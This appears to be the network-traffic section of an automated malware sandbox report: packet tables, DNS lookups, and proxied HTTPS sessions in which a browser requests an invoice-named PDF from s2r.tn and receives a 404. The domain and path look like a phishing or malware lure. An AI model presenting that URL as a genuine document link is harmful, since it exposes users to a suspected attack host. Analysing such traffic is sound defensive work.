Oct 26, 2024 13:46:31.811902046 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.812021017 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.812105894 CEST	49979	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.812149048 CEST	49979	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.812455893 CEST	49979	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.812483072 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.812500954 CEST	49979	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.812510014 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.815960884 CEST	49983	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.816009045 CEST	443	49983	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.816116095 CEST	49983	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.816304922 CEST	49983	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.816323042 CEST	443	49983	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.831760883 CEST	443	49981	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.831818104 CEST	443	49981	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.831948042 CEST	49981	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.831955910 CEST	443	49981	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.832015991 CEST	49981	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.832319975 CEST	49981	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.832319975 CEST	49981	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.832340002 CEST	443	49981	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.832351923 CEST	443	49981	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.835335970 CEST	49984	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.835376978 CEST	443	49984	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.835464001 CEST	49984	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.835639954 CEST	49984	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.835656881 CEST	443	49984	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.899679899 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.899715900 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.899736881 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.899863958 CEST	49980	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.899892092 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.899950027 CEST	49980	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.015228033 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.015300035 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.015338898 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.015470982 CEST	49980	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.015690088 CEST	49980	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.015690088 CEST	49980	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.016160965 CEST	49980	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.016181946 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.019023895 CEST	49985	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.019073963 CEST	443	49985	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.019191980 CEST	49985	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.019432068 CEST	49985	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.019443989 CEST	443	49985	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.313211918 CEST	443	49982	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.313704967 CEST	49982	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.313735962 CEST	443	49982	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.314201117 CEST	49982	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.314205885 CEST	443	49982	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.444653988 CEST	443	49982	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.444674969 CEST	443	49982	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.444783926 CEST	443	49982	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.444935083 CEST	49982	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.444936037 CEST	49982	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.445091963 CEST	49982	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.445120096 CEST	443	49982	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.445132017 CEST	49982	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.445137978 CEST	443	49982	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.448111057 CEST	49986	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.448164940 CEST	443	49986	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.448244095 CEST	49986	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.448405027 CEST	49986	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.448416948 CEST	443	49986	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.543509960 CEST	443	49983	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.544244051 CEST	49983	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.544270039 CEST	443	49983	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.544562101 CEST	49983	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.544569016 CEST	443	49983	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.571832895 CEST	443	49984	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.572515011 CEST	49984	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.572541952 CEST	443	49984	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.572805882 CEST	49984	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.572813034 CEST	443	49984	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.673912048 CEST	443	49983	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.673983097 CEST	443	49983	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.674176931 CEST	49983	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.674407005 CEST	49983	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.674428940 CEST	443	49983	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.674464941 CEST	49983	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.674470901 CEST	443	49983	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.677746058 CEST	49987	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.677789927 CEST	443	49987	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.677877903 CEST	49987	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.678020954 CEST	49987	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.678035021 CEST	443	49987	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.701349974 CEST	443	49984	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.701431036 CEST	443	49984	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.701524973 CEST	49984	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.702059031 CEST	49984	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.702059031 CEST	49984	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.702080011 CEST	443	49984	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.702092886 CEST	443	49984	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.705045938 CEST	49988	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.705106974 CEST	443	49988	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.705231905 CEST	49988	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.705394030 CEST	49988	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.705418110 CEST	443	49988	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.769932985 CEST	443	49985	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.771054029 CEST	49985	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.771074057 CEST	443	49985	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.771642923 CEST	49985	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.771647930 CEST	443	49985	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.904073954 CEST	443	49985	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.904405117 CEST	443	49985	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.904510021 CEST	49985	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.904699087 CEST	49985	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.904700041 CEST	49985	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.904722929 CEST	443	49985	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.904732943 CEST	443	49985	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.907622099 CEST	49989	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.907669067 CEST	443	49989	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:32.907757998 CEST	49989	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.907954931 CEST	49989	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:32.907970905 CEST	443	49989	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.182673931 CEST	443	49986	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.183371067 CEST	49986	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.183398008 CEST	443	49986	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.183980942 CEST	49986	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.183986902 CEST	443	49986	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.316051006 CEST	443	49986	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.316135883 CEST	443	49986	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.316209078 CEST	49986	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.317377090 CEST	49986	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.317394972 CEST	443	49986	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.367449045 CEST	49990	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.367521048 CEST	443	49990	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.367633104 CEST	49990	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.370718002 CEST	49990	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.370749950 CEST	443	49990	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.408648968 CEST	443	49987	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.433121920 CEST	443	49988	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.457570076 CEST	49987	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.460095882 CEST	49987	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.460114002 CEST	443	49987	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.460865974 CEST	49987	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.460872889 CEST	443	49987	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.461237907 CEST	49988	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.461262941 CEST	443	49988	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.461792946 CEST	49988	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.461801052 CEST	443	49988	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.586786032 CEST	443	49988	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.586867094 CEST	443	49987	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.586882114 CEST	443	49988	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.586904049 CEST	443	49987	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.586957932 CEST	443	49987	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.587007046 CEST	49988	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.587240934 CEST	49988	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.587244987 CEST	49987	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.587244987 CEST	49987	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.587264061 CEST	443	49988	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.587282896 CEST	49987	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.587285995 CEST	49988	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.587292910 CEST	443	49988	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.587296963 CEST	443	49987	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.590424061 CEST	49991	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.590467930 CEST	443	49991	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.590534925 CEST	49991	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.590702057 CEST	49991	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.590713978 CEST	443	49991	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.662237883 CEST	443	49989	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.662769079 CEST	49989	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.662785053 CEST	443	49989	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.663254976 CEST	49989	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.663259029 CEST	443	49989	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.754602909 CEST	49915	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.805445910 CEST	443	49989	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.805526018 CEST	443	49989	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.805617094 CEST	49989	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.805915117 CEST	49989	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.805938005 CEST	443	49989	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:33.805952072 CEST	49989	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:33.805958986 CEST	443	49989	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:34.103075981 CEST	443	49990	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:34.103553057 CEST	49990	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:34.103585958 CEST	443	49990	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:34.104074955 CEST	49990	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:34.104079962 CEST	443	49990	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:34.234116077 CEST	443	49990	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:34.234194040 CEST	443	49990	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:34.234283924 CEST	49990	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:34.234553099 CEST	49990	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:34.234574080 CEST	443	49990	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:34.234587908 CEST	49990	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:34.234596968 CEST	443	49990	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:34.321779013 CEST	443	49991	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:34.322406054 CEST	49991	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:34.322438955 CEST	443	49991	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:34.322887897 CEST	49991	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:34.322895050 CEST	443	49991	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:34.453641891 CEST	443	49991	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:34.453716993 CEST	443	49991	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:34.453833103 CEST	49991	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:34.454113007 CEST	49991	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:34.454138041 CEST	443	49991	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:34.454152107 CEST	49991	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:34.454158068 CEST	443	49991	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:46.734306097 CEST	49992	443	192.168.2.5	216.58.206.36
Oct 26, 2024 13:46:46.734359026 CEST	443	49992	216.58.206.36	192.168.2.5
Oct 26, 2024 13:46:46.734433889 CEST	49992	443	192.168.2.5	216.58.206.36
Oct 26, 2024 13:46:46.734776020 CEST	49992	443	192.168.2.5	216.58.206.36
Oct 26, 2024 13:46:46.734795094 CEST	443	49992	216.58.206.36	192.168.2.5
Oct 26, 2024 13:46:47.591948032 CEST	443	49992	216.58.206.36	192.168.2.5
Oct 26, 2024 13:46:47.635458946 CEST	49992	443	192.168.2.5	216.58.206.36

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 13:44:42.863467932 CEST	64393	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:44:42.864018917 CEST	54340	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:44:42.868968010 CEST	53	59394	1.1.1.1	192.168.2.5
Oct 26, 2024 13:44:42.882833004 CEST	53	49835	1.1.1.1	192.168.2.5
Oct 26, 2024 13:44:43.885967970 CEST	58245	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:44:43.886246920 CEST	62857	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:44:44.090109110 CEST	53	54340	1.1.1.1	192.168.2.5
Oct 26, 2024 13:44:44.119683981 CEST	53	56210	1.1.1.1	192.168.2.5
Oct 26, 2024 13:44:45.849241018 CEST	53	62857	1.1.1.1	192.168.2.5
Oct 26, 2024 13:44:45.914839983 CEST	64481	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:44:46.353440046 CEST	53	64393	1.1.1.1	192.168.2.5
Oct 26, 2024 13:44:46.375330925 CEST	53	58245	1.1.1.1	192.168.2.5
Oct 26, 2024 13:44:46.600281000 CEST	49447	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:44:46.600738049 CEST	62352	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:44:46.610773087 CEST	53	62352	1.1.1.1	192.168.2.5
Oct 26, 2024 13:44:46.610814095 CEST	53	49447	1.1.1.1	192.168.2.5
Oct 26, 2024 13:44:46.929964066 CEST	64481	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:44:47.932396889 CEST	64481	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:44:48.577954054 CEST	53	64481	1.1.1.1	192.168.2.5
Oct 26, 2024 13:44:48.577967882 CEST	53	64481	1.1.1.1	192.168.2.5
Oct 26, 2024 13:44:48.577979088 CEST	53	64481	1.1.1.1	192.168.2.5
Oct 26, 2024 13:45:01.467972994 CEST	53	58199	1.1.1.1	192.168.2.5
Oct 26, 2024 13:45:21.290076971 CEST	53	56021	1.1.1.1	192.168.2.5
Oct 26, 2024 13:45:41.890264988 CEST	53	62535	1.1.1.1	192.168.2.5
Oct 26, 2024 13:45:43.029256105 CEST	53	65063	1.1.1.1	192.168.2.5
Oct 26, 2024 13:46:10.749198914 CEST	53	50518	1.1.1.1	192.168.2.5
Oct 26, 2024 13:46:46.724860907 CEST	64439	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:46:46.724988937 CEST	58620	53	192.168.2.5	1.1.1.1
Oct 26, 2024 13:46:46.732129097 CEST	53	64439	1.1.1.1	192.168.2.5
Oct 26, 2024 13:46:46.732578039 CEST	53	58620	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 26, 2024 13:44:45.849325895 CEST	192.168.2.5	1.1.1.1	c21c	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 26, 2024 13:44:42.863467932 CEST	192.168.2.5	1.1.1.1	0xa606	Standard query (0)	s2r.tn	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:42.864018917 CEST	192.168.2.5	1.1.1.1	0x534e	Standard query (0)	s2r.tn	65	IN (0x0001)	false
Oct 26, 2024 13:44:43.885967970 CEST	192.168.2.5	1.1.1.1	0x39b1	Standard query (0)	s2r.tn	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:43.886246920 CEST	192.168.2.5	1.1.1.1	0x1af7	Standard query (0)	s2r.tn	65	IN (0x0001)	false
Oct 26, 2024 13:44:45.914839983 CEST	192.168.2.5	1.1.1.1	0x4df5	Standard query (0)	s2r.tn	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:46.600281000 CEST	192.168.2.5	1.1.1.1	0xa32a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:46.600738049 CEST	192.168.2.5	1.1.1.1	0xa944	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 26, 2024 13:44:46.929964066 CEST	192.168.2.5	1.1.1.1	0x4df5	Standard query (0)	s2r.tn	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:47.932396889 CEST	192.168.2.5	1.1.1.1	0x4df5	Standard query (0)	s2r.tn	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:46.724860907 CEST	192.168.2.5	1.1.1.1	0xd91	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:46.724988937 CEST	192.168.2.5	1.1.1.1	0xcf79	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 26, 2024 13:44:46.353440046 CEST	1.1.1.1	192.168.2.5	0xa606	No error (0)	s2r.tn	70.38.21.234	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:46.375330925 CEST	1.1.1.1	192.168.2.5	0x39b1	No error (0)	s2r.tn	70.38.21.234	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:46.610773087 CEST	1.1.1.1	192.168.2.5	0xa944	No error (0)	www.google.com		65	IN (0x0001)	false
Oct 26, 2024 13:44:46.610814095 CEST	1.1.1.1	192.168.2.5	0xa32a	No error (0)	www.google.com	142.250.185.228	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:48.577954054 CEST	1.1.1.1	192.168.2.5	0x4df5	No error (0)	s2r.tn	70.38.21.234	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:48.577967882 CEST	1.1.1.1	192.168.2.5	0x4df5	No error (0)	s2r.tn	70.38.21.234	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:44:48.577979088 CEST	1.1.1.1	192.168.2.5	0x4df5	No error (0)	s2r.tn	70.38.21.234	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:46.732129097 CEST	1.1.1.1	192.168.2.5	0xd91	No error (0)	www.google.com	216.58.206.36	A (IP address)	IN (0x0001)	false
Oct 26, 2024 13:46:46.732578039 CEST	1.1.1.1	192.168.2.5	0xcf79	No error (0)	www.google.com		65	IN (0x0001)	false

HTTP Request Dependency Graph

s2r.tn

https:

fs.microsoft.com

otelrules.azureedge.net

slscr.update.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:44:48 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-26 11:44:48 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=104414 Date: Sat, 26 Oct 2024 11:44:48 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49714	70.38.21.234	443	7180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:44:49 UTC	669	OUT	GET /cgi/INVOICERVSHA.pdf HTTP/1.1 Host: s2r.tn Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:44:49 UTC	164	IN	HTTP/1.1 404 Not Found Date: Sat, 26 Oct 2024 11:44:49 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-26 11:44:49 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49713	70.38.21.234	443	7180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:44:49 UTC	588	OUT	GET /favicon.ico HTTP/1.1 Host: s2r.tn Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://s2r.tn/cgi/INVOICERVSHA.pdf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:44:49 UTC	164	IN	HTTP/1.1 404 Not Found Date: Sat, 26 Oct 2024 11:44:49 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
